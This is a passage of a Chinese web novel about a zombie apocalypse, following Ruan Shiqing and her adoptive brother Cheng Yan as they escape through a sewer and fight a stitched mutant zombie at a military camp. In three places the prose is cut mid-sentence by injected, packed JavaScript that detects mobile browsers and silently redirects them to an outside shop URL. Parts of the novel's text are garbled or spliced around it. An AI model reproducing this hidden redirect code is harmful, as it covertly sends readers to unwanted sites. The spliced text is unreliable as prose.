这一下怕是撞得不轻。 成晏皱着眉瞥了他一眼,然后将阮时卿揽至身侧,冰冷的目光扫过众人,手里沾着血的刀被他插回刀鞘。 “谁开的窗谁先下,然后排好队一个个来!” 无人有异议。 阮时卿观察到,人们早就驮好了东西只待逃出去,眼里只有赤裸裸的求生欲和不敢造次的恐惧。 成晏拿起他们俩的背包从窗口扔下,然后转身对着她,“来,安全锤给我。踩着椅子,扶着车框,小心点。” 阮时卿点点头,抬脚踩在椅子上。窗沿较高,她只能双手撑着破碎的窗边,一点点将身体探出去。 她深吸一口气,先试探着朝外伸出一条腿,然后坐在窗沿,两脚一荡翻了出去。 阮时卿弯膝缓冲,却还是被惯性带得踉跄向前,在即将要扑倒的那一刻,突然被一股风轻轻托住,然后平缓地降落在地。 她立刻爬起身,想要接成晏下来,结果看到了一张完全陌生的面孔。 成晏不知道什么时候站到了人群的后面,看不清表情,但她听得清声音—— “你先走,哥哥马上就来!” 他要干什么?! 阮时卿急得背包都顾不上,想要喊他,却发现他去到了另一边,砸开了另一扇车窗,分散了人流。 她焦急地朝远处看去,已经有数只跑得最快的丧尸进入了视野,离这里大概还有100米的距离。 也就是说,最多还剩下不到两分钟的时间! 接下来人们流水般从两侧的车窗狼狈爬出,再从她身边经过,然而每一个都不是她熟悉的面孔。 双腿像灌了铅一样重,哪怕是即将到来的死亡也没有驱动她往生的脚步。因为有比死亡让她更恐惧的东西。 阮时卿就这样呆站着,目光紧紧追随着他,同时心里默数着剩下的时间。 “砰——” 车里传来一声闷重的响动,紧接着又是连续好几下震鸣。 他在砸驾驶舱的玻璃! 一分钟后,为首的几只丧尸奔至公交车附近,这时最后一个人刚好跳下车窗——除了成晏。 驾驶舱的玻璃也终于被他砸开一个洞,刚好能容一只手伸进去。 然而一只丧尸却盯上了他,两手一伸便灵活地攀上车窗,行动迅捷,一看就是进化过后。 成晏直接无视它,迅速将几乎震麻的手臂伸进舱内,去摸操作盘上那看起来并不遥远的红色按钮。 “嘀——!” 意想不到的哨声突然响彻在上空,高亢刺耳。所有丧尸一齐转头,看向那个一边朝它们招手一边使劲吹哨的女孩。 “嘿!看这边!”阮时卿大声喊道,然后拔腿朝反方向跑去。 尸群们纷纷转变目标,嘶吼着追上她,就连那只差点翻上公交的丧尸也是。 糟糕! 成晏伸向操作盘的手猛地一哆嗦,差点一口气没喘过来。 他以为她早就走了!她在干什么?! 玻璃上尖锐的边缘再也阻挠不了他,成晏狠狠将手臂往前一送,任由玻璃残渣刺进袖口,手掌重重地拍在那红色按钮上,然后果断收回。 持续不断的尖锐警报声迅速响起,再次拽停了尸群的脚步,扰乱了它们在混乱的杂音中辨别方向的能力,动作变得迟滞呆缓。 成晏拍了拍身上的灰,几个跨步从车窗翻身下来,然后飞奔至阮时卿身边。 她已经拿着手枪爆头了几个离她最近的丧尸,子弹打完后迅速切换至“长矛”阻止它们近身,然而只能造成皮外伤。 一只丧尸从她右侧突袭,被成晏拧住脖子狠狠一扭,“咔嚓”一声倒在了地上。 其他大部分丧尸几乎都被警报声拖住,将公交车完全包围,形成一片起伏的尸海。 成晏率先出声,“不是让你先走吗?!你知不知道刚才有多危险?” “我……”阮时卿还没说完,手中的包就被他夺了过去。 “算了,我们快走!” 成晏来不及多说什么,用没有划伤的左手牵住她往前跑。 这是一片湿地,草丛低伏在浅浅的积水上,几只鸦鹊掠水争渡。放在末世以前,应该算作优良的自然生态保护区。 远处依稀能看见几个人影,天边却是随着地势矮下去的,低垂到地平线以下,视线就这样被无限拉长、模糊,仿佛看不到尽头。 “啊!是那个司机!” 一具断头尸横在脚下,头不知道哪去了,脖颈处是整齐的切口。 阮时卿有点唏嘘,这大概是恶人自有恶人磨吧。 成晏没什么表情,带着她绕了个弯继续往前。 他们跑了很久,身后仍然可见零星几只丧尸。阮时卿有点跑不动了,低喘着气问,“我们要跑到哪里去?” 成晏放慢了脚步,“前面应该有河,我们沿着河边走。” “好。” 地势越来越低,当他们快赶至河岸的时候,阮时卿发现了一处比别处更低洼更稀疏的草丛,她蹲下身来拨开杂草,一圈圆形排水口隐现其中,直径约一米。 她惊喜地说,“哥,快看!这里可以进去!” 成晏率先躬身钻进了水管查探情况,过了一会转身示意她也进来。 当他们都钻进狭窄的管口时,草丛被成晏拨回了原位,几乎将此处完全隐蔽。丧尸自然找不到他们。 管道内部很黑,混着一股地下水沟和铁锈的味道,并不好闻。脚下的积水很浅,但湿滑黏腻。 一束光从身侧打出,照亮了湿漉漉的水泥管壁,往前探照时发现管道有一定的坡度。 “这里应该连接着城市内部的地下水道,我们一直走肯定能找到出口。” 他的声音从头顶传来,很低,也很空。管道里有回声。 阮时卿很颓丧,将口罩摘下。头发沾着汗渍黏在头皮,她随手抹了一把,结果手上的泥又蹭了满脸,她已经没有力气再去找所谓的出口了。 “出去之后呢?万一再遇到一波丧尸……还不如就待在这里。”她说。 一阵静默后,成晏将手电筒递给她,“拿着。” 阮时卿刚刚接过,后脑勺就被他扣住,一张清凉的湿纸巾被他以极其轻柔的力度拂过沾满泥渍和汗液的地方,瞬间清爽许多。 他做完这些又蹲下来去给她卷裤腿,防止沾到积水。 他全程没有说话,阮时卿也不知道他有没有在想她刚才的问题,索性也不说话。狭隘的空间里静默得只剩下彼此清晰可闻的呼吸和滴滴答答的水声。 “休息一下,跑了那么久也累了。” 成晏找了块相对干燥的地方,拉着她一块靠墙坐下,再从包里找出面包和巧克力扔给她,“吃点东西。” 他自己则吃了块压缩饼干。 阮时卿一手啃着面包,不时瞥他一眼,见他一直看着别处,异常沉默。 她主动开口,“我听到那个司机说的话了,他提到了‘实验室’,我觉得这个所谓的官方接送就是一个阴谋,我们都成了试验品。” 邬鹏的不对劲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我想不让你受任何委屈。”说到这他顿了下,又把她的手握得更紧了点,“所以,不要为我开脱。” 人生在世哪能不受委屈,这点拿成晏自己来说也一样,可不同的人对委屈的承受能力是不一样的。 一点小事对他来说无关痛痒,可对阮时卿来说,也许就毁天灭地。可偏偏她还要装作一幅善解人意的模样,这才是最让他无法接受的。 所以他宁愿自己替她承受所有的不公,再让她干干净净的,当一个敢想敢做的理想主义者。 阮时卿沉默良久,眼里又蓄满了泪。 她没再说什么,把剩下的面包啃完后拍了拍自己的屁股站起来。在他诧异的注视下大声说: “咳咳,我休息好了!现在找出口吧!这个地方又潮又难闻,再待几天我就要发臭了。” 成晏配合她站起来,“行,我跟着你。” 然而阮时卿刚抬起脚一个没注意就一滑,整个人向前栽去,差点跌进水里。 出师不利。 一条手臂从身后稳稳地拉住她,成晏又拐到她身侧来,“这里太滑了,慢点走。” 就这样他们沿着倾斜的管道一点一点向上走,途中经历了一两个岔口,都靠阮时卿听着声音选了更干燥的那一边。 走了大概一两个小时,她实在走不动了,成晏背着她走完了剩下的半程,她的眼皮越来越重,迷迷糊糊中埋在他肩头睡着了。 “可以去领物资了!” “请保持秩序,我们会带你们前往集合点!” “求求你们救救我的孩子——” “让开让开,有伤员!” 人声、脚踏声、轰鸣声是在某一瞬间骤然变大的,仿佛末日前的集市。 阮时卿猛地睁开眼睛,眼前仍是那个黑暗潮湿的下水道。 “哥,放我下来,我听到人声了!” 成晏松手将她放下,整个人有些轻微的喘,“哪个方向?” 阮时卿循着声往前走,结果走到了尽头,举起手电照向头顶时,顺着光亮看到了一个紧闭的铸铁井盖,边缘渗出一丝微光。 他们一起顺着墙上的铁制脚踏爬了上去。 撬开井盖的那一刻,一队身穿统一制式的军人正在高速公路上巡逻,最前方的人们正在排队领取物资。 成晏率先翻身站到地面上,然后转身将手递给阮时卿,“安全了,上来吧。” “谁在那!” “成晏?!” 15. 缝合丧尸 天快黑了。 夜晚视野有限,行路危险,大部队带着救援人群就在公路上暂停修整。 附近的丧尸都被清理得差不多了,人们纷纷支起帐篷过夜,见环境安全了都纷纷围坐在一起说话。 阮时卿就是其中一个。 他们自从下水道翻出来以后,碰巧就遇见了军方的人和被救人群。更巧的是,她还碰见了舍友闫梦和在地下室借她纸巾的女生。 “你好,我叫戚霁。”她变得更瘦了点,但一头长发总是梳得一丝不苟,整个人看起来很精神。 见阮时卿一个人,戚霁拉着她一起坐下,“咱们一块吧,正好有个伴。” 闫梦挪着屁股又坐近了一点,看着很兴奋,“是啊是啊戚姐人很好的,咱们一起去基地吧卿卿。” 看起来她们早就认识了并且相处得很好。 阮时卿道了谢,便将自己包里的巧克力分给她们吃,然后好奇地问她们是怎么来到这的。 “你不知道,你走之后的第二天军方的人就杀到学校来了!然后我们就被救了。”闫梦叹了口气,随手拿起地上一根棍子在地上无聊地画,“听他们说去了基地有保障,我就来了。” “陈韫呢?”阮时卿问。 闫梦的手顿了一下,把木棍折断,“没了。” 一口气堵在了阮时卿的喉咙,剩下的话她再也问不出口了。 氛围突然变得无比静默,戚霁从兜里拿出两颗彩色纸包装的糖放在她俩手心,“甜的吃了心情会好点。” 她继续说,语气很淡,“那边的地下室不靠谱,后来那大姨要赶人走,我就主动离开了,结果差点被咬,刚好碰上大部队得救了。” 戚霁很敏锐,见阮时卿的余光一直瞟向远处部队里的某个气质突出的人,那目光恋恋不舍的,感情经验丰富的她一下就明白了。 “男朋友?”她嘴角牵起淡淡的笑意。 “怎么可能!”阮时卿下意识反驳,脸倒是红了个彻底,“那是我哥。” “哦,哥哥啊。”戚霁咂巴着嘴里的词,似笑非笑,“是亲的吗?” “不是……”阮时卿有些心虚,虽然她也不知道为什么要心虚,好像没了这层血缘关系就没了铁证。 戚霁意味深长地看了她一眼,没再说什么,反倒是闫梦反应很大。 “我就说你哥去哪了,吓死我了,我还以为出了什么事一直不敢提。”闫梦猛地拍了拍胸口,长呼一口气,“你们俩还好好的我就放心了。” 阮时卿笑了,脱口而出,“放心吧,祸害遗千年。我还活得好好的呢他怎么可能有事。” 闫梦点点头,接着说,“所以你哥是当兵的?怪不得我说那么有气场。” 阮时卿尴尬地笑了笑,她能说她也是才知道吗? 之前只是知道他一直在训练,但又不说是干什么,瞒她瞒得密不透风,她还以为是当特工呢。 刚才他们上来的时候,他被一个叫宋轩的战友认出来了,那人刚好就在巡逻队伍里,还刚好就是那夫妻店老板的儿子。 之后成晏被军队的人叫走了,阮时卿不能跟过去。 “他违背军纪,私自离队,我已经尽力遮掩,还是没瞒过上头的人。” “……怕是要受处分。” 宋轩的话还历历在目,阮时卿很担心。 “……所以,你是说你们搭了一辆公交从尸群里死里逃生,然后徒步穿越下水道上来了?”闫梦差点惊掉下巴,“你们这经历放末日前妥妥的起号密码啊!” 论一个新传生的直觉。 “……”阮时卿差点气笑了,“想什么呢过不了审。” “开玩笑开玩笑,能再次见到你真是太好了。”闫梦轻轻抱了抱她,也不在意她身上沾的下水道味,“没受伤就行,也算是一种独特的经历了。” “既然逃出来了就先别想了,活下去才是最重要的。”戚霁拍了拍阮时卿的肩膀,语气稳重。 今夜大家似乎都没有睡意,到了晚上十点还很少有人回到帐篷。 到了后面阮时卿不再怎么说话,双手抱膝俯瞰公路下一整片灰暗的城市,像装着重重心事。 夜色模糊难辨,一阵夜风袭来,伴着淡淡的湿气,她忍不住瑟缩了一下。 一件厚重的外套突然从身后披上,鼻尖拂过熟悉的味道,他的声音像贴着耳侧传来,鲜活温热。 “困不困?” 阮时卿身形微僵,忍住了想回头看他的冲动,摇了摇头。 “卿卿,你哥来了!”闫梦惊喜地喊道,还以为她不知道特意提醒她。 “知道了。”阮时卿嘴上回应着,身体还是不动,“我不冷。” 这句话是对他说的。 一声极轻的叹息落下,成晏挨着她坐好,刚好挡在上风处。他的手伸过来自然地将她往怀里揽了揽,“还在生气?” 阮时卿没回答,但她的余光瞟到他的右手小臂上绑了好几圈厚厚的绷带,心里又是一惊,张了张嘴想说什么最终又咽了下去。 算了,反正问了他也不会说,伤口又不会消失。 “是在气我没让你跟过来,还是在气我让你等了这么久?”他低头又凑近了一点,嘴唇几乎要贴上她的脸。 “谁等你了,你个笨蛋。”阮时卿微微歪头躲开一点,怨怼地说。 成晏轻笑一声,“嗯对,我是笨蛋。连妹妹生气了怎么哄都不知道。” 声音又低又哑,仿佛在她心尖挠痒。 “下次绝对不会了,不会再让你等这么久了,嗯?”他的语气稍稍正经了一点,像是在认真检讨。 “不是这个。”阮时卿终于抬头,眼神里满是担忧,“听宋轩哥说,你会受到处分。” 成晏愣了愣,才意识到她指的是哪件事,目光冷了几分,转瞬又在看向她的那一刻变得柔和。 “没有的事。你看我现在不是好好的吗?” 阮时卿急了,“可是……” “他不是你哥。”他直接打断,“你听他的还是我的?” 听着像是吃醋了一样。 阮时卿笑出声来,用手指戳了戳他紧蹙的眉心,又划到他人中刚冒出的新胡茬上,“成晏你注意点形象,你这样怎么找得到女朋友。” 成晏捉住她的手指,深深地看了她一眼,“我不找女朋友。” 那话说得太快,也太轻松,像某种不容置疑的定律一样,以至于阮时卿开始怀疑自己的耳朵。 “为什么?”她问。 “这哪有为什么,不想找就是不想找。”成晏挪开了目光,看向远处灰暗的世界,似乎有些怅然,“那都是别人定义的规矩。” “从小到大,你看我收过哪个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900530|192207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女孩子的情书么?唯一一次跟女孩子走得比较近还是托你的同桌帮我监督你有没有好好吃饭。” 阮时卿哑口无言,她的心突然跳得很快,好像有什么要破土而出。 成晏转过头看向她,“再说了,你舍得把我让出去吗? “你舍得看我去照顾别的女孩顾不上你吗?你舍得在你发烧生病的时候,我不能第一个赶到你身边吗? “你舍得以后我们再见的时候都要避嫌吗?你舍得每次我们聊天的时候,都要带上另一个人的名字吗?你舍得……” 看着她茫然的表情,成晏突然没了声音。他收回视线,淡淡地说,“算了。” 其实本就是一句无心的玩笑话。只有他认真了。 “怎么又算了……”她闷闷地说。 他的手一下下拍着她的肩,过了一会才开口,“卿卿,别人说的话,有时候也不是一定要听。包括我的。” 像是早有预谋一般,一阵劲烈的风吹过来,把他的话一同吹散。仔细回想的时候,脑子里只剩下一些零落的碎片边角了。 就在这时,远处突然传来一阵纷乱的脚步声,伴着人群的慌乱与低语。 “让开!” “都让让,有急事!” 脚步突然停在他们身后,阮时卿回头,看到了身穿军装的宋轩。 “成哥,出事了。” 成晏立刻起身,走之前他对阮时卿说,“你先待在这里,我马上回来。” “欸,衣服。”阮时卿连忙把外套给他披上。 他走之后,所有人都不约而同地起身朝前面看过去,结果路况太黑什么也没看到。 也正是因为未知,才令人恐惧。 “卿卿,到底怎么回事啊?”闫梦凑过来问,“刚才那个人说了什么?” 阮时卿一脸凝重,她摇了摇头表示自己也不清楚。但是她的听觉竟然又敏锐地捕捉到了一阵排山倒海般的整齐脚步声,似乎从大约几百米远的房檐下阴影里传来。 那令人头皮发麻的嘶鸣再次从深不见尽头的黑暗里伸出爪牙,猛地攥住她的心脏。 “不好!!”她把背包放下,匆忙钻进人群里跟上成晏他们的脚步。 “出什么事了吗?不会又是丧尸吧?” “不会吧……” “咱们先回帐篷里躲躲吧。” 紧张的气氛开始弥漫开来,扰得人心惶惶。 “麻烦让一下谢谢!”阮时卿挤得太急不小心撞到了好几位,好在也没有人在意这些。 她及时拽住了成晏的衣角,让他停下,“哥,前面有尸群!” 成晏挡在她身前,“我知道,你跟过来干什么,很危险,快回去!” 其他人被迫停下来,用怪异的眼神看着她。 阮时卿却硬着头皮说,“哥,你忘了吗,我的异能可以帮助……” 她还没说完,地面就开始震动! “保持安静——!” 前方传来雄厚的命令声,“列队!摆出防御阵型!准备攻击!” 就在震动开始的那一刻,成晏死死护在阮时卿周身,他妥协了,“好,等会你待在我身后,不要冲动!” “嗯。” “我会保护好你。”他说。 军方探照灯集中射向正前方,让一张张狰狞的面孔现出原形。 16. 命悬一线 “都往后退!” 不知是谁低喝了一声,人们像是终于反应过来,惊慌后退,不少人往反方向跑,出现推搡现象。 几乎是同时,几个武装的士兵就已拉好了铁丝网,架设了一排排整齐的路障。 整齐有序的军队成半包围形状一字排开,形成层叠坚实的人墙,成晏带着阮时卿站在最边上,这也方便她观察局势。 她觉得很奇怪,尸群通常只在特定目标出现时还会聚集在一起,然而这一次它们像是有组织地聚拢然后主动寻来。 难道是之前声音太大吸引过来的?可是它们的队形也太整齐了,要是通过声音吸引应该早就吸引来了。 她有种不祥的预感。 尸群很快就冲到了大概二十米远的铁丝网前,一张张糊满了血渍的脸晃动着堆叠,根本看不清数目。铁丝网被冲撞得朝这边倾轧。 密集的子弹射出,尸体一排排倒下,后面的丧尸仍蜂拥而上,被灯光照得血肉模糊。 “这不对劲!怎么会有这么多丧尸?!” “根本杀不完!” 队员们都忙不迭补充子弹。 成晏扶稳了手里的枪,动作没有丝毫慌乱,只是微微侧头问道,“卿卿,你能听清数量大概有多少吗?” 阮时卿已经听了好一会了,额头布满了密汗。 尸群的脚步太急促太纷乱,还有人群的尖叫、震耳欲聋的枪声各种杂音干扰着她。 “我……我听不出来……真的有好多好多……”她太专注于声音的刺激以至于听觉超过负荷,有血从耳内流了出来。 “卿卿!”成晏立刻捂住她的耳朵,声音颤抖,“别听了,别听了,我抱你到后面去。” 阮时卿还想挣扎,却被他拦腰抱起快速奔向后方。她只能看到他紧绷的下颌线,感受到他胸口传来的剧烈心跳。 心跳…… 对,心跳!心跳是生命力的象征! 这次,她有意识地屏蔽那些干扰的杂音,集中所有注意力穿过皮囊去捕捉所有律动。 大多数丧尸的心跳都是微弱、死气沉沉的。除了…… 找到了! 一阵突兀而强有力的心跳在尸群里快速窜动,位置变化极快,阮时卿将听力放大到极限去捕捉,猛地睁开眼睛。 “它跳过来了!”她大喊一声,“第一排第三个人小心!” 成晏立刻将她放下,却还是没赶上情况的变化。 “啊——!” 一声惨叫划破了天空,枪林弹雨中,一个快得看不清残影的东西吃掉了军队前排第三个人的脑袋,一具无头尸直直地倒在众人面前。 没人再能保持镇定,都纷纷将枪头转向了内部,然而那个东西又不见了踪影,只能面面相觑。 “都别慌!继续射击!”军用卡车上下来一个同样身穿硬挺军装的人,只是肩章更多。 它还在动! 阮时卿强压下内心的恐惧,利用听觉再次预判那东西的行动轨迹。 再次睁开眼时,她的目光落在后方一处帐篷附近正抱着孩子哄的女人。 “哥!它到人群里去了!它打算包围这里!!” “明白!” 成晏拔腿飞奔,一脚踩在旁边的杆子上借力弹出然后翻跃在地,连滚了好几圈停在那女人身侧。 “快躲开!”他一把将她们推开,转身用匕首狠狠刺入了那东西的皮肉,然后迅速拔出闪身躲开了溅出的腐血。 一声尖利的嚣叫从它喉间溢出,动作明显滞缓下来,也让人看清了它的真面目—— 六肢着地,硕大的头颅缝满了好几张脸的五官。皮肤紧绷在凸出的脊骨上,皱褶深陷,像是被剥去脂肪后草草缝合的死尸,缝线上还渗着未干的黑血。 原来如此,缝合的丧尸,有好几颗心脏在它的身体里。 丧尸已经进化到这种地步了吗? 成晏已经与它周旋了几个回合,只是堪堪躲过,它的速度太快了!他看准时机爬上它的背部,手起刀落,直接砍下了它的头。 头颅滚落在地。 空气静默了几秒,人群里爆发出一阵欢呼! 只有阮时卿听到它的心跳还在鼓动,丝毫未受影响,好像身体的循环与大脑是分裂的。 “哥!它没死,快下来!”她声嘶力竭地喊,“心脏才是它的弱点!” 成晏立刻翻身下来,于是它的肢体甩了个空。 “咯哒”一声,那颗头颅朝下那面黑色的眼球直接从皮肤上骨碌碌挪动到侧面——朝向阮时卿。 她的瞳孔骤然一缩,浑身的血液仿佛凝固了,完全失去行动能力。 成晏在另一边,没有看到这个细微的变化。 下一刻,它便闪身至阮时卿身前,锋利的爪尖就要刺入她的脑袋,局势变化太快,谁都没有反应过来。 “不———” 一声哐当,有什么掉落在地,被恐惧攫住的面庞在刀刃的折射里扭曲。 一股飓风平地而起,那怪物还未来得及得手,整具身躯便被抽离地面,重重砸进地面,溅起碎石与血沫。 它发出凄惨的叫声,削去脑袋的身躯仰躺在地,仍在垂死挣扎。下一刻,成晏走至它身前,抬手扣动几下扳机——朝着臃肿的肚皮。 皮肉下粘连的心脏爆破开来,它动弹了几下,生命便和脖颈处的黑血一同凝固。 几乎是同一时间,远处的尸群溃散开来,不再堆叠着涌上来。 当最后一只丧尸倒下,军队里的士兵们都瞪大了眼睛,面面相觑,“没……没了?” “没了!我们得救了!!”一人喜极而泣,跳起来与身边的人相拥。 他们转身才看到被人群淹没的成晏和阮时卿,那边激动的呼声异常高昂。 “停下来修整,巩固防线,我去看看。”长官面色疲惫,指示道。 与此同时,另一边—— 成晏扶着手软脚也软的阮时卿坐下,同时替她挡着身边人们或多或少带着探究的目光。 “谢谢你们救了大家!” “这点水果收下吧!” 人群里里外外围了好几圈,将路堵得水泄不通,不少人甚至拿出了手机拍照,其实就在刚才,已经有人完整地录下了全程。 这些人不都是带着感激之意来的,更多的是被他们刚才施展的能力吸引而来,借着感谢的名义窥探。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907823|192207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “欸,帅哥你刚才是怎么杀掉那丧尸的能不能教我——” “妹子你咋知道那怪物没死的啊,好厉害!” “你们是什么关系啊是情侣吗?我天好好磕……” 诸如此类。吵得阮时卿头疼。 看情况拥有异能的人是真的不多,好像有些人还不知道这是一个游戏。 她刚想澄清,结果被成晏抢了先,“好意我们心领了。她需要休息,请大家不要围在这里,都回去吧。” 说完他直直地看向举着手机的人,目光似有实质,盯得人头皮发麻,“还有那边正在拍照的,把视频删了。” 他还没从刚才那种极致恐惧而暴走的状态里完全脱离出来,语气多少带着点凛冽的杀气。 这些人讪讪收手,同时人群也散开了。 “幸好……幸好……”成晏紧紧拥着阮时卿,滚烫的温度熨帖着她心上的伤痕。 “哥……” “下次,不准再冒着危险出头了。”他稍稍松开一点,面色正肃,“无论什么时候,都先想想自己,想想能不能承担起后果。 “你的异能在索敌和获取信息这方面确实很强悍,但是自保能力几乎没有,这就是我为什么要求你随身带枪。” 阮时卿忘了,刚才那种情况下太紧急,她的脑子一片空白,根本来不及去掏枪。 她低下头,紧接着双颊被他轻轻捧起,不得不看向他的眼睛,那里面承接着她的所有。 “别自责。我没有怪你。”他说,“你已经做得很好了,没人能做到十全十美。得到某些东西的同时也就意味着必须放弃什么。只是希望,你下次选择放弃的是我或者其他。” 阮时卿瞪大眼睛,“怎么可能放弃……” “我打扰你们了吗?” 一个雄浑的声音突兀地响起,一个面庞刚毅眉眼凛冽的男人背着手走了过来。他的脸上带着淡淡的笑意,周身却散发着生人勿近的气场。 “没有,您来得刚好。”成晏起身,姿态较随意,“那边的尸体还需要处理,怕影响到无关人群。” 他指的是那个头尸分离的缝合丧尸。 看样子他们应该是上下级的关系,阮时卿心想。 “小成,不介绍一下吗?刚才我可是看到你们的精彩表现了。”男人的目光越过他落在身后的阮时卿身上,似乎对她有很大的兴趣。 “您过奖了,运气而已。”成晏没有让开,只是淡淡回应,“她是我妹妹,我们配合得好。” 男人若有所思地点了点头,也没再追问,“不管怎样,你们是这次的大功臣,到了基地亏待不了你们。” 后面他们又聊了几句,大概都是和那只缝合丧尸有关。阮时卿听得有点困。 等成晏再次转身的时候,她已经瞌睡得不行,头一点一点的。 成晏轻笑一声,正打算把她抱起,结果—— “爸爸!” 一声清脆的孩童声突然闯入,把阮时卿给吵醒了。她循声望去,一个扎着羊角辫的小女孩揪着衣角跑了过来,眼睛一眨不眨地看着成晏。 还是他刚才救下的那一个。 “爸爸!”她又喊了一声。 17. 屠宰场 阮时卿睁圆了眼睛,睡意立马消散得无影无踪。 她看了看那大概只有小腿高的小女孩灰扑扑的脸,又瞅了瞅完全愣在原地的成晏—— 只花了不到一秒的时间就接受了这个事实。 “干得好啊哥,英年未婚早育!这下好了,人家债主找上门来了!” 她乐得不行。 成晏:??? 他气笑了,除了她他连女孩子的手都没牵过哪来的孩子。 “笑这么开心?”他刮了下她的鼻尖,压低了声音,“等回去再收拾你。” 随后他便蹲下来,姿态亲切但透着一股疏离,“小朋友,你认错人了。你妈妈呢?刚刚在你旁边的那个。” 没想到小女孩把嘴一撅,头摇得像拨浪鼓,“那不是我妈妈!” 许是身材高大的成晏给人的安全感太强,她直接扑进他怀里抱住他的脖子,带着哭腔说,“我爸爸不见了……你当我爸爸好不好呜呜……” 成晏完全僵住了,在那退也不是进也不是。双手无处安放。 阮时卿和他对视一眼,也蹲下来仔细打量这孩子,发现她面黄肌瘦,看起来营养不良。 她迅速从包里掏出来一块面包和一瓶水,“饿了吧,吃这个?” 小女孩没有立刻接过,有些犹疑地看了看她的眼色,缓缓伸手触到包装边角时再飞快攥进手心,生怕她反悔似的。 她立马狼吞虎咽起来,连声谢谢都没来得及说。 成晏和阮时卿皆是一脸凝重。 “满满!满满!” 刚才那个被救下的女人在不远处焦急地喊着,刚好看到这边。小女孩拿着东西背过身去,像是不愿看到她一样。 女人打扮得很时髦,一头微烫的短发,身穿挺括的皮夹克,搭配一条墨绿工装裤。她立刻跑过来将女孩拽到怀里,“你怎么到处乱跑?我说了不要随便吃陌生人的东西!” 女孩刚好把最后一口面包嚼完,眼泪啪嗒啪嗒往下掉。 女人无奈叹了口气,然后给阮时卿他们赔笑,“不好意思,谢谢你们给的食物,也谢谢你们刚才的救命之恩,希望她没有给你们添麻烦。” 阮时卿冷声问道,“你们是什么关系?” “我是她小姨。”女人毫不意外地回答,抱着孩子坐了下来,“她的妈妈是我姐姐,但是前几天我姐……所以我不得不带着她一起逃。” “她的父亲呢?” 女人嗤笑一声,“末日第一天就跑了,谁知道还活着没有。” 说这话时,她看着小女孩,眼里的悲伤像是隔了一层薄膜,到达不了眼底。 “爸爸没有跑,爸爸是去给我买糖炒栗子了!”小女孩气呼呼地反驳。 “那他怎么不回来?他又不是第一次骗人了!” “你才骗人!你根本不喜欢我!” 孩子一声哽咽的控诉让女人瞬间哑口无言。她闭了闭眼睛,仰头看着天长长地吐了一口气,胸口还是堵得发疼。 夜已经深了,大家都回到了帐篷里。那些狰狞惨烈的画面远得像是上辈子的事了,眼前的宁静又好像能恒久。 眼睛看到的总是骗人的。 “是啊,你又不是我亲生的,我为什么要喜欢你?”女人低下头来,嘴角扯起一个不大的弧度,“你也不喜欢我,我们互相讨厌吧。” 听到这阮时卿深深皱起了眉头,想说点什么,却被成晏拉到一旁制止了。 “让你们看笑了。”女人从没刻意避开他们,“我打算一到基地就把她送到托儿所去,那边的条件至少能保证她饿不死。” 成晏稍微斟酌了一下语句,“现在这种情况,谁也说不好。” “那也比到处流浪好。” 女人没有多说什么,抱着女孩离开了。离开的时候衣袖扣子不小心牵扯开来,露出手腕处好几道增生的新疤痕。 * “该回去睡觉了我的小祖宗。不然真的要天亮了。” 阮时卿故意躲开了成晏伸来的双臂,嘿嘿一笑,“我想去找闫梦她们聊聊天,马上就来!” “行,那我先回去守着。万一你玩得太晚,就别怪我先睡了。” 他没什么意见,双手插兜转身朝搭好的帐篷走去,状似不经意地说,“还有那杯刚刚泡好的红豆奶茶我也先喝了。” “什么?你不早说!”阮时卿几个跨步跟上,然后跳上他的背脊,被他稳稳接住,双腿在他宽大的掌心里晃荡。 她抬手蒙住他的眼睛,义正辞严地说,“现在跟着我的指令走,左边,右边……” 惹得他发笑,“淘气。” “谁让你用美食诱惑我!” “熬夜还有理了,惯得你。” …… 末日第四天清晨,部队带着人们继续赶路,这次一路上再没遇到什么意外,并在正午前抵达了基地。 基地挨着水库,建在地势高但平坦的山腰上,那里有一片原住民区,内部供水供电。最外围顺着地形砌起一圈坚固的城墙和哨点,用来抵御侵扰。 在进入前每个人都经历了很严格的筛查,还要度过12小时观察期。 因着成晏身份的缘故,他们住进了内城最安全的公寓楼之一。 房间不大,一居室一厨房一浴室,与末日前的民宿差不多,许多家具都是现成的,足够他们在这里生存到末日结束。 进门的时候已经是晚上十一点了,屋内灯火通明,亮堂得让阮时卿恍惚。 成晏刚把门关上,就看到被甩到地上的背包和浴室门板上隐隐绰绰的轮廓。 “不好意思喽,我先洗!” 即使隔着门,他也能想象到她那洋洋得意的小表情,嘴角不禁扬起。 “衣服都不拿,你是打算光着身子出来?”他把刚从超市用仅有的一点物资换来的衣服和日用品摆出来,“还真是不拿我当外人。” “这有浴巾!” “不行,会冻着。” 成晏将她的睡衣和内衣什么的叠好然后走到浴室门口敲了敲,只见门开了一条极小的缝隙,一只手伸出来迅速拿走衣物,快得连残影都看不清。 